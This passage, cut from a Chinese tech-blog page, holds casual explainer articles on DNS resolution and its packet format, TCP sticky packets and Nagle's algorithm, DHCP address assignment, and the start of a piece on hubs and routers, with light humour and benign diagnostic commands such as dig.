/etc/resolv.conf就好了。这上面的nameserver中,可以看出有两台DNS服务器,机子会按照文件中出现的顺序来发起请求,如果第一台服务器没反应,就会去请求第二台。最近的DNS服务器怎么知道根域的IP是多少?我们也知道根域,就是域名树的顶层,既然是顶层,那信息一般也就相对少一些。对应的IPV4地址只有13个,IPV6地址只有25个。我们可以通过dig命令的+trace选项来查看一个域名的dns解析过程。而前面提到的传说中的13个根域,从字母a-m,就都在上图中。但这又引发了一个问题,上面看到的都是域名。这。。。"我本来是想通过域名去找IP的,你又让我去找其他域名的IP?"听起来不科学,这不就死循环了吗。是的,所以这些根域名对应的IP会以配置文件的形式,放在每个域名服务器中。也就是说并不需要再去请求根域名对应的IP,直接在配置里能读出来就好了。下面这个截图是域名服务器里的配置内容。可以看到A开头的根域,它的IPV4地址是198.41.0.4。加入多级缓存对于高并发读多写少的场景,加入缓存几乎就是标配。DNS也不例外,它加了缓存,而且不止一层。从在浏览器的搜索框中输入URL。它会先后访问浏览器缓存、操作系统的缓存/etc/hosts、最近的DNS服务器缓存。如果都找不到,才是到根域,顶级(一级)域,二级域等DNS服务器进行查询请求。于是请求过程就成了下图这样。可以看到上面提到的好几有缓存的地方我都加了个绿色的小文件图标,优先在缓存里做查询。由于缓存了上面树状结构的信息,最近的DNS服务器也不再需要每次都从根域开始查起。比如在缓存里能找到baidu.com的服务器IP,就直接跳到二级域服务器上做查找就好了。正因为多级缓存的存在,每一层实际接收到的请求都大大减少了。并且每个人日常访问的网站也就那么几个,所以大部分时候都能命中缓存直接返回IP地址。简单小结下。DNS的设计中,通过层次结构将服务进行拆分,流量分散到多个服务器中。又通过加入多级缓存,让每个层级实际接收到的请求大大减少,因此大大提高了系统的性能。这两点,是我们做业务开发的过程中可以参考的优秀设计。但还有一点,是我们大概率学不来的,叫任播,它也为DNS实现高并发处理能力提供了重要支持,我会把它放到放到下一篇文章展开聊聊。协议格式DNS是个域名解析系统,而运行在这套系统上的协议,就叫DNS协议。和HTTP类似,DNS协议也是个应用层协议。下图是它的报文格式。字段太多,很晕?这就对了。我们就挑几个重点的说说。Transsaction ID是事务ID,对于一次请求和这个请求对应的应答,他们的事务ID是一样的,类似于微服务系统中的log_id。flag字段是指标志位,有2个Byte,16个bit,需要关注的是QR,OpCode, RCode。QR用来标志这是个查询还是响应报文,0是查询,1是响应。OpCode用来标志操作码,正常查询都是0,不管是域名查ip,还是ip查域名,都属于正常查询。可以粗暴的认为我们平时只会看到0。RCode是响应码,类似于HTTP里的404, 502 这样的status code。用来表示这次请求的结果是否正常。0是指一切正常。1是指报文格式错误,2服务域名服务器内部错误。Queries字段,是指你实际查询的内容。这里其实包含三部分信息,Name, Type, Class。Name可以放域名或者IP。比如你要查的是baidu.com这个域名对应的IP,那里面放的就是域名,反过来通过IP查对应的域名,那Name字段里放的就是IP。Type是指你想查哪种信息,比如你想查这个域名对应的IP地址是什么,那就是填A(address),如果你想查这个域名有没有其他别名,就填CNAME(Canonical Name)。如果你想查 xiaobaidebug@gmail.com对应的邮箱服务器地址是什么(比如 gmail.com),那就填MX(Mail Exchanger)。除此之外还有很多类型,下面是常见的Type表格。Class字段就比较有意思了,你可以简单的认为,我们只会看到它填IN (Internet)。其实DNS协议本来设计出来是考虑到可能会有更多的应用场景的,比如这里还能填CH,HS。大家甚至都不需要知道它们是什么含义,因为随着时间的发展,这些都已经成化石了,我们知道这个字段的唯一作用,可能就是可以在面试的时候可以随意装个x,深藏功与名。Answers字段,从名字可以看出,跟Queries对应,一问一答。作用是返回查询结果,比如通过域名查对应的IP地址,这个字段里就会放入具体的IP信息。抓包原理看完了,来抓个包吧。我们打开wireshark。然后执行dig www.baidu.com此时操作系统会发出DNS请求,查询 www.baidu.com对应的IP地址。上面的图里是DNS查询(request)的内容,可以看到它是应用层的协议,传输层用的是UDP协议进行数据传输。截图里标红的部分,也就是上面提到的需要重点关注的报文字段内容。其中flag字段是按bit展示的,因此抓包里进行了分行展示。接下来再看下响应(response)的数据包内容。可以看到事务ID(Transaction ID)跟DNS请求报文是一致的。并且Answers字段里带有两个IP地址。试了下,两个IP地址都是可以正常访问的。总结DNS是非常优秀的高并发分布式系统,通过层次结构将服务进行拆分,流量分散到多个服务器中。又通过加入多级缓存,让每个层级实际接收到的缓存大大减小,因此大大提高了系统的性能。这两点在做业务开发的过程中是可以借鉴的。插上网线通网时,本机通过DHCP协议获得DNS服务器的地址。根域服务器的IP会以配置的形式加载到每一台DNS服务器当中。因此访问任意一台DNS服务器都能轻松找到根域对应的IP地址。最后最后给大家留下两个问题。从抓包可以看出,DNS在传输层上使用了UDP协议,那它只用UDP吗?上面提到,DNS的IPV4根域名只有13个,这里面其实有不少都部署在国外,那是不是意味着,只要他们不高兴了,切断我们的访问,我们的网络就全都不能用了呢?
0
0
0
浏览量513
超超

[网络坦白局] TCP粘包 数据包:我只是犯了每个数据包都会犯的错 |硬核图解

事情从一个健身教练说起吧。李东,自称亚健康终结者,尝试使用互联网+的模式拓展自己的业务。在某款新开发的聊天软件琛琛上发布广告。键盘说来就来。疯狂发送"李东",回车发送!,"亚健康终结者",再回车发送!还记得四层网络协议长什么样子吗?四层网络模型每层各司其职,消息在进入每一层时都会多加一个报头,每多一个报头可以理解为数据报多戴一顶帽子。这个报头上面记录着消息从哪来,到哪去,以及消息多长等信息。比如,mac头部记录的是硬件的唯一地址,IP头记录的是从哪来和到哪去,传输层头记录到是到达目的主机后具体去哪个进程。在从消息发到网络的时候给消息带上报头,消息和纷繁复杂的网络中通过这些信息在路由器间流转,最后到达目的机器上,接受者再通过这些报头,一步一步还原出发送者最原始要发送的消息。为什么要将数据切片软件琛琛是属于应用层上的。而"李东","亚健康终结者"这两条消息在进入传输层时使用的是传输层上的 TCP 协议。消息在进入**传输层(TCP)**时会被切片为一个个数据包。这个数据包的长度是MSS。可以把网络比喻为一个水管,是有一定的粗细的,这个粗细由网络接口层(数据链路层)提供给网络层,一般认为是的MTU(1500),直接传入整个消息,会超过水管的最大承受范围,那么,就需要进行切片,成为一个个数据包,这样消息才能正常通过“水管”。MTU 和 MSS 有什么区别MTU: Maximum Transmit Unit,最大传输单元。 由网络接口层(数据链路层)提供给网络层最大一次传输数据的大小;一般 MTU=1500 Byte。 假设IP层有 <= 1500 byte 需要发送,只需要一个 IP 包就可以完成发送任务;假设 IP 层有> 1500 byte 数据需要发送,需要分片才能完成发送,分片后的 IP Header ID 相同。MSS:Maximum Segment Size 。 TCP 提交给 IP 层最大分段大小,不包含 TCP Header 和 TCP Option,只包含 TCP Payload ,MSS 是 TCP 用来限制应用层最大的发送字节数。 假设 MTU= 1500 byte,那么 MSS = 1500- 20(IP Header) -20 (TCP Header) = 1460 byte,如果应用层有 2000 byte 发送,那么需要两个切片才可以完成发送,第一个 TCP 切片 = 1460,第二个 TCP 切片 = 540。什么是粘包那么当李东在手机上键入"李东""亚健康终结者"的时候,在 TCP 中把消息分成 MSS 大小后,消息顺着网线顺利发出。网络稳得很,将消息分片传到了对端手机 B 上。经过 TCP 层消息重组。变成"李东亚健康终结者"这样的字节流(stream)。但由于聊天软件琛琛是新开发的,而且开发者叫小白,完了,是个臭名昭著的造 bug 工程师。经过他的代码,在处理字节流的时候消息从"李东","亚健康终结者"变成了"李东亚","健康终结者"。"李东"作为上一个包的内容与下一个包里的"亚"粘在了一起被错误地当成了一个数据包解析了出来。这就是所谓的粘包。一个号称健康终结者的健身教练,大概运气也不会很差吧,就祝他客源滚滚吧。为什么会出现粘包那就要从 TCP 是啥说起。TCP,Transmission Control Protocol。传输控制协议,是一种面向连接的、可靠的、基于字节流的传输层通信协议。其中跟粘包关系最大的就是基于字节流这个特点。字节流可以理解为一个双向的通道里流淌的数据,这个数据其实就是我们常说的二进制数据,简单来说就是一大堆 01 串。这些 01 串之间没有任何边界。应用层传到 TCP 协议的数据,不是以消息报为单位向目的主机发送,而是以字节流的方式发送到下游,这些数据可能被切割和组装成各种数据包,接收端收到这些数据包后没有正确还原原来的消息,因此出现粘包现象。为什么要组装发送的数据上面提到 TCP 切割数据包是为了能顺利通过网络这根水管。相反,还有一个组装的情况。如果前后两次 TCP 发的数据都远小于 MSS,比如就几个字节,每次都单独发送这几个字节,就比较浪费网络 io 。比如小白爸让小白出门给买一瓶酱油,小白出去买酱油回来了。小白妈又让小白出门买一瓶醋回来。小白前后结结实实跑了两趟,影响了打游戏的时间。优化的方法也比较简单。当小白爸让小白去买酱油的时候,小白先等待,继续打会游戏,这时候如果小白妈让小白买瓶醋回来,小白可以一次性带着两个需求出门,再把东西带回来。上面说的其实就是TCP的 Nagle 算法优化,目的是为了避免发送小的数据包。在 Nagle 算法开启的状态下,数据包在以下两个情况会被发送:如果包长度达到MSS(或含有Fin包),立刻发送,否则等待下一个包到来;如果下一包到来后两个包的总长度超过MSS的话,就会进行拆分发送;等待超时(一般为200ms),第一个包没到MSS长度,但是又迟迟等不到第二个包的到来,则立即发送。由于启动了Nagle算法, msg1 小于 mss ,此时等待200ms内来了一个 msg2 ,msg1 + msg2 > MSS,因此把 msg2 分为 msg2(1) 和 msg2(2),msg1 + msg2(1) 包的大小为MSS。此时发送出去。剩余的 msg2(2) 也等到了 msg3, 同样 msg2(2) + msg3 > MSS,因此把 msg3 分为 msg3(1) 和 msg3(2),msg2(2) + msg3(1) 作为一个包发送。剩余的 msg3(2) 长度不足mss,同时在200ms内没有等到下一个包,等待超时,直接发送。此时三个包虽然在图里颜色不同,但是实际场景中,他们都是一整个 01 串,如果处理开发者把第一个收到的 msg1 + msg2(1) 就当做是一个完整消息进行处理,就会看上去就像是两个包粘在一起,就会导致粘包问题。关掉 Nagle 算法就不会粘包了吗?Nagle 算法其实是个有些年代的东西了,诞生于 1984 年。对于应用程序一次发送一字节数据的场景,如果没有 Nagle 的优化,这样的包立马就发出去了,会导致网络由于太多的包而过载。但是今天网络环境比以前好太多,Nagle 的优化帮助就没那么大了。而且它的延迟发送,有时候还可能导致调用延时变大,比如打游戏的时候,你操作如此丝滑,但却因为 Nagle 算法延迟发送导致慢了一拍,就问你难受不难受。所以现在一般也会把它关掉。看起来,Nagle 算法的优化作用貌似不大,还会导致粘包"问题"。那么是不是关掉这个算法就可以解决掉这个**粘包"问题"**呢?TCP_NODELAY = 1接受端应用层在收到 msg1 时立马就取走了,那此时 msg1 没粘包问题**msg2 **到了后,应用层在忙,没来得及取走,就呆在 TCP Recv Buffer 中了**msg3 **此时也到了,跟 msg2 和 msg3 一起放在了 TCP Recv Buffer 中这时候应用层忙完了,来取数据,图里是两个颜色作区分,但实际场景中都是 01 串,此时一起取走,发现还是粘包。因此,就算关闭 Nagle 算法,接收数据端的应用层没有及时读取 TCP Recv Buffer 中的数据,还是会发生粘包。怎么处理粘包粘包出现的根本原因是不确定消息的边界。接收端在面对**"无边无际"的二进制流的时候,根本不知道收了多少 01 才算一个消息**。一不小心拿多了就说是粘包。其实粘包根本不是 TCP 的问题,是使用者对于 TCP 的理解有误导致的一个问题。只要在发送端每次发送消息的时候给消息带上识别消息边界的信息,接收端就可以根据这些信息识别出消息的边界,从而区分出每个消息。常见的方法有加入特殊标志可以通过特殊的标志作为头尾,比如当收到了0xfffffe或者回车符,则认为收到了新消息的头,此时继续取数据,直到收到下一个头标志0xfffffe或者尾部标记,才认为是一个完整消息。类似的像 HTTP 协议里当使用 chunked 编码 传输时,使用若干个 chunk 组成消息,最后由一个标明长度为 0 的 chunk 结束。加入消息长度信息这个一般配合上面的特殊标志一起使用,在收到头标志时,里面还可以带上消息长度,以此表明在这之后多少 byte 都是属于这个消息的。如果在这之后正好有符合长度的 byte,则取走,作为一个完整消息给应用层使用。在实际场景中,HTTP 中的Content-Length就起了类似的作用,当接收端收到的消息长度小于 Content-Length 时,说明还有些消息没收到。那接收端会一直等,直到拿够了消息或超时,关于这一点上一篇文章里有更详细的说明。可能这时候会有朋友会问,采用0xfffffe标志位,用来标志一个数据包的开头,你就不怕你发的某个数据里正好有这个内容吗?是的,怕,所以一般除了这个标志位,发送端在发送时还会加入各种校验字段(校验和或者对整段完整数据进行 CRC 之后获得的数据)放在标志位后面,在接收端拿到整段数据后校验下确保它就是发送端发来的完整数据。UDP 会粘包吗跟 TCP 同为传输层的另一个协议,UDP,User Datagram Protocol。用户数据包协议,是面向无连接,不可靠的,基于数据报的传输层通信协议。基于数据报是指无论应用层交给 UDP 多长的报文,UDP 都照样发送,即一次发送一个报文。至于如果数据包太长,需要分片,那也是IP层的事情,大不了效率低一些。UDP 对应用层交下来的报文,既不合并,也不拆分,而是保留这些报文的边界。而接收方在接收数据报的时候,也不会像面对 TCP 无穷无尽的二进制流那样不清楚啥时候能结束。正因为基于数据报和基于字节流的差异,TCP 发送端发 10 次字节流数据,而这时候接收端可以分 100 次去取数据,每次取数据的长度可以根据处理能力作调整;但 UDP 发送端发了 10 次数据报,那接收端就要在 10 次收完,且发了多少,就取多少,确保每次都是一个完整的数据报。我们先看下IP报头注意这里面是有一个 16 位的总长度的,意味着 IP 报头里记录了整个 IP 包的总长度。接着我们再看下 UDP 的报头。在报头中有16bit用于指示 UDP 数据报文的长度,假设这个长度是 n ,以此作为数据边界。因此在接收端的应用层能清晰地将不同的数据报文区分开,从报头开始取 n 位,就是一个完整的数据报,从而避免粘包和拆包的问题。当然,就算没有这个位(16位 UDP 长度),因为 IP 的头部已经包含了数据的总长度信息,此时如果 IP 包(网络层)里放的数据使用的协议是 UDP(传输层),那么这个总长度其实就包含了 UDP 的头部和 UDP 的数据。因为 UDP 的头部长度固定为 8 字节( 1 字节= 8 位,8 字节= 64 位,上图中除了数据和选项以外的部分),那么这样就很容易的算出 UDP 的数据的长度了。因此说 UDP 的长度信息其实是冗余的。UDP Data 的长度 = IP 总长度 - IP Header 长度 - UDP Header 长度可以再来看下 TCP 的报头TCP首部里是没有长度这个信息的,跟UDP类似,同样可以通过下面的公式获得当前包的TCP数据长度。TCP Data 的长度 = IP 总长度 - IP Header 长度 - TCP Header 长度。跟 UDP 不同在于,TCP 发送端在发的时候就不保证发的是一个完整的数据报,仅仅看成一连串无结构的字节流,这串字节流在接收端收到时哪怕知道长度也没用,因为它很可能只是某个完整消息的一部分。为什么长度字段冗余还要加到 UDP 首部中关于这一点,查了很多资料,《 TCP-IP 详解(卷2)》里说可能是因为要用于计算校验和。也有的说是因为UDP底层使用的可以不是IP协议,毕竟 IP 头里带了总长度,正好可以用于计算 UDP 数据的长度,万一 UDP 的底层不是IP层协议,而是其他网络层协议,就不能继续这么计算了。但我觉得,最重要的原因是,IP 层是网络层的,而 UDP 是传输层的,到了传输层,数据包就已经不存在IP头信息了,那么此时的UDP数据会被放在 UDP 的 Socket Buffer 中。当应用层来不及取这个 UDP 数据报,那么两个数据报在数据层面其实都是一堆 01 串。此时读取第一个数据报的时候,会先读取到 UDP 头部,如果这时候 UDP 头不含 UDP 长度信息,那么应用层应该取多少数据才算完整的一个数据报呢?因此 UDP 头的这个长度其实跟 TCP 为了防止粘包而在消息体里加入的边界信息是起一样的作用的。面试的时候咱就把这些全说出去,显得咱好像经过了深深的思考一样,面试官可能会觉得咱特别爱思考,加分加分。如果我说错了,请把我的这篇文章转发给更多的人,让大家记住这个满嘴胡话的人,在关注之后狠狠的私信骂我,拜托了!IP 层有粘包问题吗IP 层会对大包进行切片,是不是也有粘包问题?先说结论,不会。首先前文提到了,粘包其实是由于使用者无法正确区分消息边界导致的一个问题。先看看 IP 层的切片分包是怎么回事。如果消息过长,IP层会按 MTU 长度把消息分成 N 个切片,每个切片带有自身在包里的位置(offset)和同样的IP头信息。各个切片在网络中进行传输。每个数据包切片可以在不同的路由中流转,然后在最后的终点汇合后再组装。在接收端收到第一个切片包时会申请一块新内存,创建IP包的数据结构,等待其他切片分包数据到位。等消息全部到位后就把整个消息包给到上层(传输层)进行处理。可以看出整个过程,IP 层从按长度切片到把切片组装成一个数据包的过程中,都只管运输,都不需要在意消息的边界和内容,都不在意消息内容了,那就不会有粘包一说了。IP 层表示:我只管把发送端给我的数据传到接收端就完了,我也不了解里头放了啥东西。听起来就像 “我不管产品的需求傻不傻X,我实现了就行,我不问,也懒得争了”,这思路值得每一位优秀的划水程序员学习,respect。总结粘包这个问题的根因是由于开发人员没有正确理解 TCP 面向字节流的数据传输方式,本身并不是 TCP 的问题,是开发者的问题。TCP 不管发送端要发什么,都基于字节流把数据发到接收端。这个字节流里可能包含上一次想要发的数据的部分信息。接收端根据需要在消息里加上识别消息边界的信息。不加就可能出现粘包问题。TCP 粘包跟Nagle算法有关系,但关闭 Nagle 算法并不解决粘包问题。UDP 是基于数据报的传输协议,不会有粘包问题。IP 层也切片,但是因为不关心消息里有啥,因此有不会有粘包问题。TCP 发送端可以发 10 次字节流数据,接收端可以分 100 次去取;UDP 发送端发了 10 次数据报,那接收端就要在 10 次收完。数据包也只是按着 TCP 的方式进行组装和拆分,如果数据包有错,那数据包也只是犯了每个数据包都会犯的错而已。最后,李东工作没了,而小白表示
0
0
0
浏览量514
超超

刚插上网线,电脑怎么知道自己的IP是什么?

今天这篇文章,很有意思,它来源于我曾经的一次真实面试里的其中一个小问题。当时是终面,面我的是那家公司的技术顾问,在面试前hr还让我看了他的履历,是一位1996年就进了麻省理工计算机系的大佬。属实有被震惊到,什么概念?1996年,没记错的话那是个用BP机和大哥大的年代?有几个人能用上电脑?又有几个人有这种机会能出国深造。这是哪部爽文小说的主人公剧情?就算放到现在,这也是非常强的事情。我这辈子是没希望了,也不知道我的儿子或者孙子辈有没有机会能做到。也就是说,这位大佬,至少领先了我两代人。那一天,我感受到了,那种跨越时代的碾压感。好了,不讲骚话了,直接开始主题吧。我们知道,如果你知道某台电脑的IP,就可以向这个IP发起连接请求,建立连接后就可以操作收发数据。要发送的数据,会在网络层里加入IP头。这里面最重要的是发送端和接收端的IP地址。这个IP地址就像是一个门牌号一样,有了它,数据包就能在这个纷繁复杂的网络世界里找到该由谁来接收这个数据包。所以说上面的网络通信离不开IP。假设我有一台新买的电脑,还没联网呢,这时候拿着新买的网线,插入网线口,网线插口亮起来了。然后就可以开始用它上网了。那么问题来了。刚插上网线,电脑怎么知道自己的IP是什么?怎么就突然能上网了呢?这个话题,我们从DHCP聊起吧。DHCP是什么插上网线之后,获得IP的方式主要有两种。第一种是,自己手动在电脑里配。像下图那样,是macOS的一个截图,在选择手动配置之后,除了IP地址还需要配上子网掩码和路由器的地址。这就很不科学了,电脑又不只是卖给程序员,这几个词对于大部分普通人来说,比赋能抓手闭环这种黑话还要难理解。大部分人没事都不应该去配这玩意。有没有办法可以让这些IP信息自动获得?有,这就是第二种获取IP的方式,DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)。通过DHCP,在联网之后可以自动获取到本机需要的IP地址,子网掩码还有路由器地址。DHCP的工作原理DHCP的工作原理也非常简单。说白了,就是向某个管IP分配的服务器,也就是DHCP服务器,申请IP地址。其实一般家里用的路由器就自带这个功能。整个操作流程分为4个阶段。DHCP Discover:在联网时,本机由于没有IP,也不知道DHCP服务器的IP地址是多少,所以根本不知道该向谁发起请求,于是索性选择广播,向本地网段内所有人发出消息,询问"谁能给个IP用用"。DHCP Offer:不是DHCP服务器的机子会忽略你的广播消息,而DHCP服务器收到消息后,会在自己维护的一个IP池里拿出一个空闲IP,通过广播的形式给回你的电脑。DHCP Request:你的电脑在拿到IP后,再次发起广播,就说"这个IP我要了"。DHCP ACK:DHCP服务器此时再回复你一个ACK,意思是"ok的"。你就正式获得这个IP在一段时间(比如24小时)里的使用权了。后续只要IP租约不过期,就可以一直用这个IP进行通信了。到这里,问题来了为什么要有第三和第四阶段大家有没有发现,在Offer阶段,其实你的机子就已经拿到了IP了,为什么还要有后面的Request和ACK呢?是不是有些多此一举?这是因为本地网段内,可能有不止一台DHCP服务器,在你广播之后,每个DHCP服务器都有可能给你发Offer。本着先到先得的原则,你的机子一般会对第一个到的Offer响应DHCP Request,目的是为了确认offer,在你确认Offer这段时间内,DHCP服务器确认这个IP还没被分出去,你才可以安心使用这个IP。像不像你找工作的过程?你海投简历(DHCP Discover),然后拿到了多个offer(DHCP Offer)。这时候事情还没完,你一般会跟HR说:"你给我两天时间,我要跟家里人商量下"。HR也会对你说:"那你尽快确认,我这边还有不少候选人等着"。之后你考虑下来觉得不错,跟HR说要接这个Offer(DHCP Request),HR看了下这个岗位还在,才能确认让你第二天来上班(DHCP ACK)。如果这个公司的岗位已经招到其他候选人了,第四阶段的消息就会改为发DHCP NAK,意思是拒绝了你的接Offer请求。DHCP抓包光看原理是有些枯燥,我们可以尝试下抓包看下数据。在命令行里执行下面的命令,可以强行让电脑的en0网卡重新走一遍DHCP流程。sudo ipconfig set en0 DHCPen0可以替换成其他网卡,比如eth0啥的。这时候就可以抓到相关的数据包。我们可以看到蓝色的四个数据包,分别对应上面提到的四个DHCP阶段。其中第二阶段中的DHCP Offer里会返回给我们需要的IP、子网掩码、路由器地址以及DNS服务器地址。另外,通过抓包,我们可以发现DHCP是应用层的协议,基于传输层UDP协议进行数据传输。那么问题又来了。为什么DHCP用UDP,能不能改用TCP?按道理说,UDP能做到的,TCP一般也能做到。但这次真不行。主要原因还是因为TCP是面向连接的,而UDP是无连接的。所谓"连接",他就只有一个发送端和一个接收端,就跟水管一样。而DHCP由于一开始并不知道要跟谁建立连接,所以只能通过广播的形式发送消息,注意,小细节,广播。同样是在本地网段内发广播消息,UDP只需要发给255.255.255.255。它实际上并不是值某个具体的机器,而是一个特殊地址,这个地址有特殊含义,只要设了这个目的地址,就会在一定本地网段内进行广播。而TCP却不同,它需要先建立连接,但实际上255.255.255.255对应的机器并不存在,因此也不能建立连接。如果同样要做到广播的效果,就需要先得到本地网段内所有机器的IP,然后挨个建立连接,再挨个发消息。这就很低效了。因此DHCP选择了UDP,而不是TCP。为什么第二阶段不是广播,而是单播。另外一个小细节不知道大家注意到没,上面在提到 DHCP Offer 阶段时,提到的是DHCP服务器会使用广播的形式回复。但抓个包下来却发现并不是广播,而是单播。其实,这是DHCP协议的一个小优化。原则上大家在DHCP offer阶段,都用广播,那肯定是最稳的,目标机器收到后自然就会进入第三阶段DHCP Request。而非目标机器,收到后解包后发现目的机器的mac地址跟自己的不同,也会丢掉这个包。但是问题就出在,这个非目的机器需要每次都在网卡收到包,并解完包,才发现原来这不是给它的消息,这。。。真,有被打扰到。如果本地网段内这样的包满天飞,也浪费机器性能。如果能用单播,那当然是最好的。但这时候目的机器其实并没有IP地址,有些系统在这种情况下能收单播包,有些则认为不能收,这个跟系统的实现有关。因此,对于能收单播包的系统,会在发DHCP Discover阶段设一个 Broadcast flag = 0 (unicast) 的标志位,告诉服务器,支持单播回复,于是服务器就会在DHCP Offer阶段以单播的形式进行回复。是不是每次联网都要经历DHCP四个阶段?只要想联网,就需要IP,要用IP,就得走DHCP协议去分配。但大家也发现了,DHCP第一阶段和第二阶段都可能会发广播消息。对于家用电脑还好,插个网线,之后就雷打不动。但像手机这样的移动设备,是要带着到处跑的,坐个地铁,进个电梯,公司里到处走走,都可能会涉及到网络切换。这每次都要来一个完整的四阶段,各种广播消息满天飞,其实对网络环境不太友好。于是问题叒来了,是不是每次联网都要经历DHCP四个阶段?当然不需要。我们会发现每次断开wifi再打开wifi时,机子会经历一个从没网到有网的过程。这时候去抓个包,会发现。其实只发生了DHCP的第三和第四阶段。这是因为机子记录了曾经使用过 192.168.31.170这个IP,重新联网后,会优先再次请求这个IP,这样就省下了第一第二阶段的广播了。另外需要注意的是,抓包图里DHCP Request之所以出现两次,是因为第一次Request发出后太久没得到回应,因此重发。DHCP分配下来的IP一定不会重复吗?一般来说DHCP服务器会在它维护的IP池里找到一个没人用的IP分配给机子,这个IP如果重复分配了,那本地网段内就会出现两个同样的IP,这个IP下面却对应两个不同的mac地址。但其他机器上的ARP缓存中却只会记录其中一条mac地址到IP的映射关系。于是,数据在传递的过程中就会出错。因此本地网段内IP必须唯一。那么DHCP分配下来的IP有没有可能跟别的IP是重复的?都这么问了,那肯定是可能的。有两个常见的情况会出现IP重复。文章开头提到,IP是可以自己手动配的,自己配的IP是有可能跟其他DHCP分配下来的IP是相同的。解决方案也很简单,尽量不要手动去配IP,统一走DHCP。或者在DHCP服务器里维护的IP范围里,将这条IP剔除。一个本地网段内,是可以有多个DHCP服务器的,而他们维护的IP地址范围是有可能重叠的,于是就有可能将相同的IP给到不同的机子。解决方案也很简单,修改两台DHCP服务器的维护的IP地址范围,让它们不重叠就行了。不过吧,上面的解决方案,都需要有权限去修改DHCP服务器。得到DHCP ACK之后立马就能使用这个IP了吗?这就好像在问,拿到offer之后你是第一时间就去上班吗?不。你会先告诉你的同事同学朋友,甚至会发朋友圈。你的机子也一样。在得到DHCP ACK之后,机子不会立刻就用这个IP。而是会先发三条ARP消息。大家知道ARP消息的目的是通过IP地址去获得mac地址。所以普通的ARP消息里,是填了IP地址,不填mac地址的。但这三条ARP协议,比较特殊,它们叫无偿ARP(Gratuitous ARP),特点是它会把IP和mac地址都填好了,而且填的还是自己的IP和mac地址。目的有两个。一个是为了告诉本地网段内所有机子,从现在起,xx IP地址属于xx mac地址,让大家记录在ARP缓存中。另一个就是看下本地网段里有没有其他机子也用了这个IP,如果有冲突的话,那需要重新再走一次DHCP流程。在三次无偿ARP消息之后,确认没有冲突了,才会开始使用这个IP地址进行通信。这种行为,实际上就跟你拿了offer之后发了这么个朋友圈没啥区别。而且,还连发了三条。秀offer,offer冲突了不可怕。秀对象秀冲突了才可怕。如果你朋友圈里有这种人,答应我,删了吧。总结电脑插上网线,联网后会通过DHCP协议动态申请一个IP,同时获得子网掩码,路由器地址等信息。DHCP分为四个阶段,分别是 Discover,Offer, Request和ACK。如果曾经连过这个网,机器会记录你上次使用的IP,再次连接时优先使用原来的那个IP,因此只需要经历第三第四阶段。DHCP是应用层协议,考虑到需要支持广播功能,底层使用的是UDP协议,而不是TCP协议。DHCP分配下来的IP是有可能跟某台手动配置的IP地址重复的。DHCP得到IP之后还会发3次无偿ARP通告,在确认没有冲突后开始使用这个IP。最后给大家留个问题吧。我们上面的IP都是从DHCP服务器上申请的,在服务器返回DHCP Offer的时候,可以看到上面写了DHCP服务器的IP。比如192.168.31.1,这明显是个局域网内的IP,但这能说明,你的DHCP服务器一定在这个局域网里吗?参考资料《图解TCPIP》
0
0
0
浏览量856
超超

硬核!阿里面试就是不一样!30张图带你搞懂路由器,集线器,交换机,网桥,光猫有啥区别?

文章持续更新,可以微信搜一搜「golang小白成长记」第一时间阅读,回复【教程】获golang免费视频教程。本文已经收录在GitHub github.com/xiaobaiTech… , 有大厂面试完整考点和成长路线,欢迎Star。故事就从一个车轱辘说起吧。先来看一个车轱辘。辐条从车轱辘边缘,一直汇聚到 中心的轴,这个轴在英文里叫hub。而我们今天要讲到的集线器,英文里也叫hub。都叫hub,多少有点关系,看下这面这个图大概能明白,其实两者有点像。大概想表达的意思是,它是汇聚网线的中心,因此就叫集线器。所以可以理解,大家常逛的 Github,Docker Hub, 还有P**hub ,都是为了表达它们是某类资源的中心了吧。那么集线器是什么呢?那就要从电脑是怎么互联的这个话题说起。小学的时候,有一种网吧,它其实是不能上外网的。也就是不能打开度娘,不能搜索资料。不能上网的网吧还能叫网吧?能。虽然不能上外网,但网吧老板可以把很多台机子连起来,实现网吧内互联,形成一个局域网(Local Area Network,简称LAN)。网吧内互联之后,就可以放上各种游戏,比如CS,实现网吧内对线。这种网吧有种好处,没有那么多键盘侠。毕竟你不知道什么时候键着键着,对方就找过来了。对战直接从线上转移到线下了。因此大家打游戏都很和谐,客气,场面十分感人就是了。那么网吧内的电脑是怎么互联呢?一根网线互联电脑从最简单的场景说起,假设网吧内只有两台电脑随便连根网线就能实现互联吗?当然不是。还记得网络分层吗?数据如果要进行传输,会从A电脑经过这些网络分层把消息组装好,再到B电脑层层解包。网线,只是代替了上面的灰色部分,实现物理层上互联。如果想要两台电脑互联成功,还需要确保每一层所需要的步骤都要做到位,这样数据才能确保正确投送并返回。我们自顶向下,从细节开始说一下实现互联需要做什么。应用层该层的网络功能由应用本身保证。假设两台电脑是打算用游戏进行联网,那么该应用层的功能由游戏程序保证。传输层绝大部分游戏用的传输层协议都是TCP,我们可以看下TCP报头。这里面我们需要关注的是源和目的端口,这个可以定位到这台电脑上哪个进程在收发数据。这两个端口信息一般是游戏内部已经填好。AB两台电脑,其中一台作为服务端启动,比如A,起了个服务器进程。服务器会开放一个固定的端口,比如27015。这就是目的端口。这时候A和B都可以搜索到这个服务器。启动一个客户端进程,连接进入A的服务器进程。而源端口,则由A和B自己生成。网络层上图除了端口,我们还看到一个192.168.0.105,这个就是A的IP地址。我们看一下IP层的报文头。这里面需要关注是源和目的IP地址。如果两台电脑想通过一根网线进行消息通信,那么他们需要在一个局域网内。这意味着,他们的子网掩码需要一致。局域网内,假设子网掩码是 225.225.225.0,会认为 192.168.0.x 这些IP都属于一个局域网。所以当A的IP地址是192.168.0.105 时,那么B的IP地址可以配成192.168.0.106 。关于IP这一块是啥,后面会细讲,大家如果没明白我说的是啥,不要急。组装好网络层报头后,数据包传入到数据链路据层。数据链路层以上解决了网络层的互联,而在数据链路层,数据包里需要拼接上MAC报头。先看下MAC报头长什么样子。其中需要关心的是标红的源和目的MAC地址。MAC地址可以粗略理解是这台电脑网卡的唯一标识。大概长这样28:f9:d3:62:7d:31源和目的地址,在发送消息的时候就会被填上。但是A只知道自己的MAC地址,怎么才能知道B的MAC地址呢?这时候需要ARP协议。ARP(Address Resolution 